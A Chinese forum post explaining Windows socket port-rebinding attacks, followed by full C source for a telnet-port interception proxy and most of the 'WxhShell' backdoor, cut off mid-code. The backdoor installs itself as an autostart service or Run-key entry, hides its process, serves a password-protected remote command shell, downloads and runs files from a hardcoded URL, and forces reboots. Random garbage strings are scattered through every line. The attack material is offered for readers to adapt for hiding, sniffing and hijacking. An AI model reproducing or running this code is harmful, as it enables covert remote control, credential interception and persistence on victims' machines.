社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15683阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2 S\~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  *YFe  
b:}`O!UBw  
  saddr.sin_family = AF_INET; Eqg(U0k0  
.bYDj&]P{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <M1XG7_I  
{t$ vsR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :fr 2K  
cmIAWFj-)e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  OT9\K_  
qYW{$K  
  这意味着什么?意味着可以进行如下的攻击: 3d.JV'C'c  
\"qXlTQ1_9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {37DrSOa  
nzTzc5 w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N2VF_[l  
HB4Hz0Fa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZpHT2-baVe  
A`7uw|uO$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k})Ag7c  
-0Q:0wU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $.}fL;BzVz  
,sk;|OAI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p1HU2APFP  
!UD62yw~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hi{c[;  
r6Z&i^cMe  
  #include &G@*/2A  
  #include SMQuJ_  
  #include 56*}}B$?  
  #include    f{lg{gA(  
  DWORD WINAPI ClientThread(LPVOID lpParam);    y'Xg"  
  int main() +7o3TA]-  
  { w?.0r6j  
  WORD wVersionRequested; +V&b<y;?>  
  DWORD ret; ;0}$zy1EZ  
  WSADATA wsaData; WZRrqrjq  
  BOOL val; A~-e?.  
  SOCKADDR_IN saddr; K$Y!d"D  
  SOCKADDR_IN scaddr; H!&]Di1Eh  
  int err; TeQWrm s  
  SOCKET s; e(BF=gesgp  
  SOCKET sc; 9p(s FQ [  
  int caddsize; .*D~ .!  
  HANDLE mt; E/(:\Cm^  
  DWORD tid;   KS'? DO  
  wVersionRequested = MAKEWORD( 2, 2 ); 4D[W;4/p  
  err = WSAStartup( wVersionRequested, &wsaData ); -) $$4<L  
  if ( err != 0 ) { =4yME  
  printf("error!WSAStartup failed!\n"); lMp)T**  
  return -1; -<}_K,Ky`  
  } qSMST mnQ  
  saddr.sin_family = AF_INET; El0|.dW  
   IQdiVj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lcvWx%/o@  
A7-QOqST(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0<Px 2/  
  saddr.sin_port = htons(23); E$f.&<>T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %\[LM$f{z  
  { R |8)iW^  
  printf("error!socket failed!\n"); Hbx=vLQ6  
  return -1; b}o^ ?NtA  
  } 6+FmYp  
  val = TRUE; mN_RB{g{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]m(Uv8/6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (ui"vLk8PP  
  { .BlGV2@^#  
  printf("error!setsockopt failed!\n"); UBi0 /  
  return -1; +|Xx=1_?BK  
  } ]gkI:scPA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h5x FP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pF#nj`L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '(kGc%  
>mT2g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GKtG#jZ&  
  { (2QFwBW]  
  ret=GetLastError(); //>f#8Ho  
  printf("error!bind failed!\n"); +K;(H']Z<-  
  return -1; `pm6Ts{,  
  } A%oHx|PD  
  listen(s,2); e0+N1kY  
  while(1) (<(8(} x  
  { 2>.B*P  
  caddsize = sizeof(scaddr); r.[!n)*  
  //接受连接请求 v l2!2X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hFZ7{pj  
  if(sc!=INVALID_SOCKET) UbJ_'>hK6  
  { }!(cm;XA"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sk$MJSE ~  
  if(mt==NULL) yFshV\   
  { 1'R]An BV  
  printf("Thread Creat Failed!\n"); P$N\o@  
  break; RXb+"/   
  } %IW=[D6Tg  
  } &voyEvX/S  
  CloseHandle(mt); wvcG <sj  
  } ; @-7'%(C  
  closesocket(s); 2ME3=C  
  WSACleanup(); #)hM]=,e  
  return 0; |JSj<~1ki  
  }   L/"XIMI*Xg  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;a XcGa  
  { 9Rzu0:r.,  
  SOCKET ss = (SOCKET)lpParam; &2Q4{i  
  SOCKET sc; tV9nC   
  unsigned char buf[4096]; SI*O#K=w  
  SOCKADDR_IN saddr; <E|i3\[p  
  long num; :o&qJ%  
  DWORD val; GG5wiN*2S  
  DWORD ret; {XC# -3O  
  //如果是隐藏端口应用的话,可以在此处加一些判断  4EJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nxKV7d@R  
  saddr.sin_family = AF_INET; O2q`2L~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]P<u^ `{*  
  saddr.sin_port = htons(23); ^hq`dr|R=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u8v;O}#  
  { a"0Xam  
  printf("error!socket failed!\n"); S j)&!  
  return -1; e54wAypPOl  
  } BYyR-m  
  val = 100; p./zW )7+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x/#* M  
  { EQ-r  
  ret = GetLastError(); *@S:f"i  
  return -1; "e0$/WQ6J  
  } OySIp[{tJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qn ME|j\  
  { /=*h\8c~  
  ret = GetLastError(); t)=u}t$  
  return -1; H? Z5ex  
  } '0[D-jEr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E;*#fD~@  
  { SHOg,#mV  
  printf("error!socket connect failed!\n"); DFQp<Eq]7  
  closesocket(sc); y9{KBM%h  
  closesocket(ss); ?"N, do  
  return -1;  btJ:Wt}  
  } $5jQm,V$K  
  while(1) >Olg lUzA  
  { -Id4P _y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y$Sn3_9 V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3~ ;LNi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -uIu-a]  
  num = recv(ss,buf,4096,0); 3'}(:X(  
  if(num>0) "9jt2@<  
  send(sc,buf,num,0); aJ}y|+Cj  
  else if(num==0) k(pI5N}pJZ  
  break; /X~l%Xm  
  num = recv(sc,buf,4096,0); {~_X-g5|]  
  if(num>0) >k"Z'9l  
  send(ss,buf,num,0); U$&G_&*0a  
  else if(num==0) @@"}i7  
  break; >\ y|}|?  
  } +3dWnBg?  
  closesocket(ss); eRKuy l  
  closesocket(sc); LuM:dJ  
  return 0 ; HQw98/-_W  
  } 5I`j'j  
3} @3pVS  
c>#T\AEkF  
========================================================== I`^ 7Bk.r  
Ua\]]<hj"  
下边附上一个代码,,WXhSHELL 47 xyS%X  
b R> G%*a  
========================================================== "SJp9s3  
As }:~Jy|  
#include "stdafx.h" FNL[6.!PV  
?{[ ISk)  
#include <stdio.h> {}kE=L5  
#include <string.h> tPBr{  
#include <windows.h> _y*@Hj  
#include <winsock2.h> Ri=:=oF(  
#include <winsvc.h> 8yij=T*  
#include <urlmon.h> ebK/cPa8  
OC34@YUj[  
#pragma comment (lib, "Ws2_32.lib") (KtuikJ32^  
#pragma comment (lib, "urlmon.lib") 2fFZ70Yh  
NF8'O  
#define MAX_USER   100 // 最大客户端连接数 }'L7<_  
#define BUF_SOCK   200 // sock buffer E}LuWFZ&  
#define KEY_BUFF   255 // 输入 buffer ;rXkU9  
R?MRRq  
#define REBOOT     0   // 重启 E w#UlA:"v  
#define SHUTDOWN   1   // 关机 44C"Pl E u  
h_#x@p  
#define DEF_PORT   5000 // 监听端口 U l8G R  
#JMww  
#define REG_LEN     16   // 注册表键长度  kDbDG,O  
#define SVC_LEN     80   // NT服务名长度 +a1Or  
5x856RQ'  
// 从dll定义API nwuH:6~"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PxfWO1S(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $/*1 9 e~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HYU-F_|N=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uq?((  
}p,#rOX:A  
// wxhshell配置信息 (K9pr>le  
struct WSCFG { \OPJ*/U  
  int ws_port;         // 监听端口 x-27rGN  
  char ws_passstr[REG_LEN]; // 口令 &O8vI ,M  
  int ws_autoins;       // 安装标记, 1=yes 0=no riw0w  
  char ws_regname[REG_LEN]; // 注册表键名 7q\&  
  char ws_svcname[REG_LEN]; // 服务名 RP[^1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2E5n07,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +g %h,@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !|4fww  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cxX/ b ,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F{*{f =E!B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "#}Uh  
DBTeV-G9~R  
}; OM,Dy&Y  
h0**[LDH  
// default Wxhshell configuration *rKj%Me  
struct WSCFG wscfg={DEF_PORT, <"/b 5kc  
    "xuhuanlingzhe", QguRU|y  
    1, oKyl2jg+,  
    "Wxhshell", (h {"/sR  
    "Wxhshell", CCoT  
            "WxhShell Service", , e^&,5b  
    "Wrsky Windows CmdShell Service", oF'_x,0  
    "Please Input Your Password: ", pQ~Y7  
  1, a|}v?z\  
  "http://www.wrsky.com/wxhshell.exe", @S?`!=M  
  "Wxhshell.exe" Q9T/@FX  
    }; `r#]dT[g  
Nm {|  
// 消息定义模块 [A jY ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PmjN!/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C2e.RTxc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZG(.Q:1  
char *msg_ws_ext="\n\rExit."; `L~gERW#  
char *msg_ws_end="\n\rQuit."; lZ,w#sqbY  
char *msg_ws_boot="\n\rReboot..."; 7QSr C/e  
char *msg_ws_poff="\n\rShutdown..."; ,:[\h\5m  
char *msg_ws_down="\n\rSave to "; IKo,P$ PE  
hW<TP'Zm*  
char *msg_ws_err="\n\rErr!"; w-{a>ZU0  
char *msg_ws_ok="\n\rOK!"; %"[`   
|)KOy~"  
char ExeFile[MAX_PATH]; V2B@Lq"9`  
int nUser = 0; kB#;s  
HANDLE handles[MAX_USER]; %*bGW'Cw  
int OsIsNt; TmviYP gb  
(V(8E%<c  
SERVICE_STATUS       serviceStatus; mETGYkPUa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C[ma!he  
hqDnmzG  
// 函数声明 \u4`6EYF?  
int Install(void); yC&u^{~BC  
int Uninstall(void); +HDfEo T  
int DownloadFile(char *sURL, SOCKET wsh); $I0&I[_LzK  
int Boot(int flag); M4H~]Ftn  
void HideProc(void); r;n^\[Ov0,  
int GetOsVer(void); :<p3L!?8y  
int Wxhshell(SOCKET wsl); 1S{AGgls5  
void TalkWithClient(void *cs); 62.)fCQ^  
int CmdShell(SOCKET sock); S7B\m v  
int StartFromService(void); ntr&? H  
int StartWxhshell(LPSTR lpCmdLine); to9X2^  
aM5Hp>'nI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L l$,"}0T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,DL%oQR  
Cl>|*h+m  
// 数据结构和表定义 zp'Vn7  
SERVICE_TABLE_ENTRY DispatchTable[] = Cfr2 ~w  
{ F:~k4uTW\b  
{wscfg.ws_svcname, NTServiceMain}, b?U2g?lN:  
{NULL, NULL} [iXkv\  
}; f]4j7K!e]  
:pJK Z2B,  
// 自我安装 T)#e=WcP]  
int Install(void) b3NEYn  
{ >PS`;S!(  
  char svExeFile[MAX_PATH]; 0n/+X[%Ti  
  HKEY key; ;$Pjl8\  
  strcpy(svExeFile,ExeFile); d~abWBgC`  
\x=j  
// 如果是win9x系统,修改注册表设为自启动 Bo +Yu(|cL  
if(!OsIsNt) { Je*hyi7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }PUY~ u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a7U`/*  
  RegCloseKey(key); bZ SaL^^(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ugV/#v O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o}b_`O  
  RegCloseKey(key); WSxE/C|[  
  return 0; 6s.>5}M!  
    } 7`J= PG$A  
  } !sVW0JSh  
} nPR*mbW  
else { cI\&&<>SlG  
Oil~QAd,  
// 如果是NT以上系统,安装为系统服务 oiRrpS\T.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^Lc, w  
if (schSCManager!=0) fB= j51Lw  
{ 4^GIQEjx  
  SC_HANDLE schService = CreateService ]G}:cCpd+a  
  ( .b|!FWHNS  
  schSCManager, fR&x5Ika0  
  wscfg.ws_svcname, X1XmaO% A  
  wscfg.ws_svcdisp, ">FuCvQ  
  SERVICE_ALL_ACCESS, qFE(H1hy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mi<l;ZP  
  SERVICE_AUTO_START, 06]%$ -j  
  SERVICE_ERROR_NORMAL, exxH0^  
  svExeFile, %CV.xDE8  
  NULL, XK{KFB-  
  NULL, e ~ %=H 0n  
  NULL, |hD)=sCj  
  NULL, g[L}puN  
  NULL P$v9  
  ); 0bfJD'^9RP  
  if (schService!=0) ne|N!!Dmk  
  { \Lg{GN.  
  CloseServiceHandle(schService); c[+uwO~  
  CloseServiceHandle(schSCManager); \C kb:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M@=VIrX,m  
  strcat(svExeFile,wscfg.ws_svcname); _/z3QG{Ea^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CHckmCgf4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AOM@~qyc   
  RegCloseKey(key); 3S"kw  
  return 0; av"dJm  
    } |t6:4']  
  } z7!@^!r  
  CloseServiceHandle(schSCManager); Gt$PBlq0  
} L2IY$+=M  
} wCt!.<, .  
'M35L30  
return 1; f {j`d&|  
} aL|a2+P[`q  
=sUrSVUeU  
// 自我卸载 c7@[RG !  
int Uninstall(void) x"~gulcz  
{ 8,L)=3m-  
  HKEY key; mvu$  
y4%[^g~-  
if(!OsIsNt) { ,56objaE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M7.H;.?  
  RegDeleteValue(key,wscfg.ws_regname); ~j yl  
  RegCloseKey(key); \hD jZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Jc54d  
  RegDeleteValue(key,wscfg.ws_regname); )@_5}8  
  RegCloseKey(key); vw*,_f  
  return 0; lZJbQ=K{  
  } ^=arKp,?5  
} M)G|K a  
} &~"e["gF=  
else { c JOT{  
ei!Yxw8d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !h70<Q^  
if (schSCManager!=0) {-l:F2i  
{ 3M"eAK([  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j/, I)Za  
  if (schService!=0) 'RpX&g  
  { y eWB.M~X  
  if(DeleteService(schService)!=0) { $q g/8G  
  CloseServiceHandle(schService); %b>Ee>rdD  
  CloseServiceHandle(schSCManager); IN?rPdY  
  return 0; -] `OaL!  
  } m`xzvg  
  CloseServiceHandle(schService); T7Qw1k  
  } LLPbZ9q  
  CloseServiceHandle(schSCManager); ?sc lOOh  
} z4rg.ai  
} <|;)iT1VeT  
pwmH(94$0  
return 1; &d=ZCaP  
} O~c\+~5M*  
.&rL>A2U  
// 从指定url下载文件 ?@H/;hB[|  
int DownloadFile(char *sURL, SOCKET wsh) )KKmV6>b  
{ K9c5HuGy  
  HRESULT hr; fBnlB_}e  
char seps[]= "/"; 'a=' (,%  
char *token; <nJ8%aY,  
char *file; >?(}F':  
char myURL[MAX_PATH]; +&.wc;mi  
char myFILE[MAX_PATH]; c4iGtW  
NU%<Ws=  
strcpy(myURL,sURL); 9Bi{X_.9  
  token=strtok(myURL,seps); A;7At!kK  
  while(token!=NULL) HB9|AQ4K  
  { a1g aB:w5n  
    file=token; O_^;wey0}?  
  token=strtok(NULL,seps); -$o4WSd~  
  } Iz9b5  
aUbmEHFTV  
GetCurrentDirectory(MAX_PATH,myFILE); ~ ":}Rs  
strcat(myFILE, "\\"); M{O8iq[  
strcat(myFILE, file); %Mr^~7nN  
  send(wsh,myFILE,strlen(myFILE),0); M1J77LfS8  
send(wsh,"...",3,0); Kq;s${ |G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o|nN0z)b4  
  if(hr==S_OK) b>f{o_  
return 0; siD/`T&  
else 9;tY'32/  
return 1; 52q<|MW%  
~JG\b?s  
} #L 9F\ <K  
1hW"#>f7  
// 系统电源模块 VTJxVYE  
int Boot(int flag) wMU}EoGS?  
{  _!E)a  
  HANDLE hToken; ;CLOZ{  
  TOKEN_PRIVILEGES tkp; <L+y 6B  
OtZc;c  
  if(OsIsNt) { ><H*T{ Pg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LW*v/`@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XY!0yAK(!  
    tkp.PrivilegeCount = 1; 2dnyIgi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h+j{;evN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YK)e  
if(flag==REBOOT) { Q<T+t0G\O-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?V' zG&n@  
  return 0; V~fPp"F  
} @k3xk1*  
else { uO5y{O2W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B;c2gu  
  return 0; aM|;3j1p  
} -d_7 q  
  } @ ('/NjTZ  
  else {  giORc  
if(flag==REBOOT) { x`JhNAO>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "g:1br?X,9  
  return 0; q.!<GqSgb  
} _p;=]#+c&  
else { q6EZ?bo{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L&hv:+3N  
  return 0; [^0 S#,L  
} 1Uk Gjw1J  
} kV:T2}]|H  
^0HgE;4  
return 1; ,*CPG$L  
} x*! %o(G  
X ;Cl8  
// win9x进程隐藏模块 :N64FR#  
void HideProc(void) %gEgp Jd  
{ $L W8 vo7  
9wdl1QS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )jGB[s";)y  
  if ( hKernel != NULL ) `rb}"V+  
  { HpIW H*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (O"-6`w[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7f>~P_  
    FreeLibrary(hKernel);  w\y)  
  } xjh(;S'  
zI"1.^Trn  
return; J~|:Q.Rt`  
} K)W:@,*  
P (aN6)D  
// 获取操作系统版本 >E9 k5  
int GetOsVer(void) nrKir  
{ +g&M@8XO&  
  OSVERSIONINFO winfo; rw.DKM'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ud)2Mq1#M  
  GetVersionEx(&winfo); +%R{j|8#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t6Nkv;)>@  
  return 1; sB wzb  
  else .4[M7)  
  return 0; D[dI_|59a  
} B7( bNr  
 =@! s[  
// 客户端句柄模块 H1r8n$h  
int Wxhshell(SOCKET wsl) Qrw:Bva)  
{ 5M\bH'1  
  SOCKET wsh; `\yQn7 Oq  
  struct sockaddr_in client; Qv]>L4PO  
  DWORD myID; <=]:ED $V@  
)yUSuK(Vu  
  while(nUser<MAX_USER) 95sK;`rE+  
{ Y'yGhpT~  
  int nSize=sizeof(client); ;%Kh~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;]>a7o  
  if(wsh==INVALID_SOCKET) return 1; 7M<co,"  
` >[Offhd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $l_\9J913  
if(handles[nUser]==0) ZMGC@4^F  
  closesocket(wsh); gWfMUl  
else WHcw5_3#  
  nUser++; v;(k7  
  } Bhk@0\a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <OTx79m  
O? 0`QMY  
  return 0; q +!i6!6r  
} c~u91h?  
!M}ZK(  
// 关闭 socket YL/B7^fd8  
void CloseIt(SOCKET wsh) Hb\['VhzM  
{ b1EY6'R2  
closesocket(wsh); A`*Sx"~jdx  
nUser--; :@~mN7O*  
ExitThread(0); byPqPSY  
} \?vn0;R4  
!d&SVS^mo  
// 客户端请求句柄 y>0Gmr  
void TalkWithClient(void *cs) H@'u$qr$:  
{ ~:99 )AOM  
Bh;N:{&^Eu  
  SOCKET wsh=(SOCKET)cs; {bNVNG^  
  char pwd[SVC_LEN]; }(!3)k7*  
  char cmd[KEY_BUFF]; h059DiH  
char chr[1]; >dnDN3x  
int i,j; EZ[e  a<  
P98g2ak  
  while (nUser < MAX_USER) { 8;O/x  
3cc;BWvM  
if(wscfg.ws_passstr) { !-4VGt&c,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0+NGFX \p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x{S2   
  //ZeroMemory(pwd,KEY_BUFF); ,zh_-2^X  
      i=0; T:g%b @  
  while(i<SVC_LEN) { *d:$vaL  
.9q`Tf  
  // 设置超时 Qp+M5_  
  fd_set FdRead; Z  GrDa  
  struct timeval TimeOut; =g?k`v p  
  FD_ZERO(&FdRead); 3*N0oc^m  
  FD_SET(wsh,&FdRead); 3x>Y  
  TimeOut.tv_sec=8; \"b'Z2g  
  TimeOut.tv_usec=0; %II o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /|@~:5R5H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @_ Tq>tOr&  
=l>=]O~h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VyWzb  
  pwd=chr[0]; n$<n Yr`X  
  if(chr[0]==0xd || chr[0]==0xa) { ,,;vG6^a  
  pwd=0;  NG?g(  
  break; T>w;M?`9K  
  } 8Yf=)  
  i++; cC9haxW  
    } 7=a e^GKo  
_% i!LyG  
  // 如果是非法用户,关闭 socket E+J+fi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (?ZS 9&y}  
} Tj6kCB  
p5J!j I=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _7 ^:1i~:.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <(l`zLf4p  
YwZ ]J  
while(1) { [= Xb*~  
f |NXibmP  
  ZeroMemory(cmd,KEY_BUFF); uCc5)  
&.JJhX  
      // 自动支持客户端 telnet标准   vJ e c+a  
  j=0; gUme({h&|  
  while(j<KEY_BUFF) { Y)7\h:LIg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t?Q  
  cmd[j]=chr[0]; XoGOY|2`6  
  if(chr[0]==0xa || chr[0]==0xd) { = VMELk!z  
  cmd[j]=0; zN/nKj: Q  
  break; B^/(wHBp  
  } R,8T t!n  
  j++; PsBLAr\ah  
    } x[mh^V5ld  
-m$2"_  
  // 下载文件 .dj}y jd]f  
  if(strstr(cmd,"http://")) { m`n#Q#6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oWq]\yT<`  
  if(DownloadFile(cmd,wsh)) UTqKL*p523  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r`e6B!p  
  else ?=b#H6vs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )NO ,G  
  } W Haf}.V  
  else { ysFp$!9Ux  
VP*B<u  
    switch(cmd[0]) { b^"mQ   
  qyjVB/ko  
  // 帮助 =]o2{d  
  case '?': { Z9i~>k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e^v\K[  
    break; #JR$RH  
  } `bWc<4T  
  // 安装 @{ L|&Mk!  
  case 'i': { bjq.nn<=  
    if(Install()) o)8VJ\ &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kArF Gb2c  
    else O;.DQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =)J )xH!N  
    break; (/7cXd@\6  
    } YD#L@:&gv  
  // 卸载 ?O0,)hro  
  case 'r': { mteQRgC  
    if(Uninstall()) {"O-/* f+(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \mqrDaB  
    else NRI[|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eh, _g.  
    break; G<Urj+3/Xo  
    } ~I]aUN  
  // 显示 wxhshell 所在路径 fONycXM]  
  case 'p': { ?gCP"~  
    char svExeFile[MAX_PATH]; v)nBp\fjxp  
    strcpy(svExeFile,"\n\r"); %&eBkN!T  
      strcat(svExeFile,ExeFile); +NoVe#  
        send(wsh,svExeFile,strlen(svExeFile),0); 1*:BOoYx  
    break; SVPksr  
    } 7wHd*{^9N  
  // 重启 h~ q5GhY!9  
  case 'b': { (]-RL A>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4wx{i6  
    if(Boot(REBOOT)) RtEx WTc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q1!+wC   
    else { L;=LAQ6[  
    closesocket(wsh); f]2;s#cu  
    ExitThread(0); f||S?ns_  
    } ~|ha9 1  
